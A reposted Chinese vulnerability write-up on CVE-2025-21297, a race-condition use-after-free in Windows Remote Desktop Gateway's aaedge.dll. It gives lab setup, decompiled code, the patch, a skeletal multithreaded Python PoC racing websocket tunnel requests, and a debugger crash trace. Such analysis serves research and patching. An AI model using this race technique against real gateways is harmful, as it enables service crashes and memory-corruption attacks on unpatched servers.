poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍

admin 2025年5月19日14:49:44评论2 views字数 6407阅读21分21秒阅读模式

文章地址为:https://v-v.space/2025/05/15/CVE-2025-21297/已取得大佬转载同意,赛博昆仑的大佬是真滴多啊。 对作者敢兴趣的可以关注大佬的 x ,@vv474172261

时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.

配置RDG环境

  1. 准备虚拟机, 安装未修补漏洞的windows server.

  2. 安装 RDG 服务

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930738398
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930805655
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930817254
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930838256
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930853119
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930861724
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930874111
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724930908758

    wait until finish installation:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931393509

    select tools to open RDG manager:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931430677
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931458368
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931477527
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931503035

    创建自签名证书:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931563124
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931624086

    最后点击”OK”:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931681229

    创建 RDCAP:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931754262
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931772188

    选择用户组:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931808867

    点击 “OK”.

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931976253

    创建 RDRAP:

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931877871
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931894166
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931916078
    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931946012

    点击”OK”.

    poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
    1724931995221

获取进程id:

poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
img

漏洞介绍

aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance:

struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void){  v0 = CTsgMsgServer::m_pMsgSvrInstance;if ( CTsgMsgServer::m_pMsgSvrInstance )// a0    goto LABEL_9;  v1 = operator new(0x70ui64);if ( v1 )  {    v1->ref = 1;    CTsgMsgServer::m_pMsgSvrInstance = v1; // a1    ......    v0 = CTsgMsgServer::m_pMsgSvrInstance;LABEL_9:    v4 = (v0 + *(v0->_0_60h_0h + 4i64));    (v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);return CTsgMsgServer::m_pMsgSvrInstance;// a2  }

如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance.

现在设想一个如下场景:

  1. socket1连接服务, 进入了该函数a0位置, 由于CTsgMsgServer::m_pMsgSvrInstance没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.
  2. socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以CTsgMsgServer::m_pMsgSvrInstance还是没有初始化, 因此也进入申请内存阶段.
  3. socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.
  4. socket2运行至a1位置, 用heap2覆盖了CTsgMsgServer::m_pMsgSvrInstance存储的heap1的值. heap2->ref 是 1.
  5. socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1.
  6. socket2运行到a2, 返回heap2. 此时heap2->ref 是2.
  7. socket1结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance, heap2->ref变成1
  8. socket2结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance, heap2->ref变成0, heap2被释放. CTsgMsgServer::m_pMsgSvrInstance变成悬挂指针.
  9. 当socket3连接时, 引用了悬挂指针, 导致UAF

这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.

补丁

官方添加了互斥锁, 避免了多线程同时进入初始化流程.

总结

其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.

POC核心逻辑

def get_data(conId):  data = 'GET /remoteDesktopGateway?......'return datadef main_logic():  sock.send(get_data(conId).encode('utf-8'))  sock.recv(1024)  time.sleep(0.2)  data = HandShakeRequest(0)  data = websocket_data(b'xxxx', data)  sock.send(data)  sock.recv(1024)  data = TunnelRequest(2)  data = websocket_data(b'xxxx', data)  wait_all_threads_ready_and_sync()  sock.send(data)  time.sleep(0.1)  sock.close()def exp():for _ in range(total_thread_nums):    pool.submit(main_logic) // 使用多个线程竞争  time.sleep(0.5)  main_logic()// 模拟socket3行为

crash栈回溯

0:046> rrax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000 r8=7ffffffffffffffc  r9=0000000000000000 r10=00000fff4ef319d4r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8r14=000001aa4c74e7c0 r15=0000000000000000iopl=0         nv up ei pl nz na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:00007ffa`77957678 488b02          mov     rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????0:046> k# Child-SP          RetAddr           Call Site00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf801 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x5702 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x3004 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d605 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x26206 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c907 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x2660a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b70c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x170e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c0:046> !heap -p -a 1aa`4bfb4f90ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.    address 000001aa4bfb4f90 found in    _DPH_HEAP_ROOT @ 1aa40001000in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)                                1aa400465b0:      1aa4bfb4000             2000    00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037    00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e    00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0    00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574    00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d    00007ffa94d7d61c msvcrt!free+0x000000000000001c    00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027    00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce    00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027    00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e    00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486    00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8    00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0    00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230    00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f    00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7    00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e    00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017    00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c

原文始发于微信公众号(独眼情报):poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日14:49:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍http://cn-sec.com/archives/4080199.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息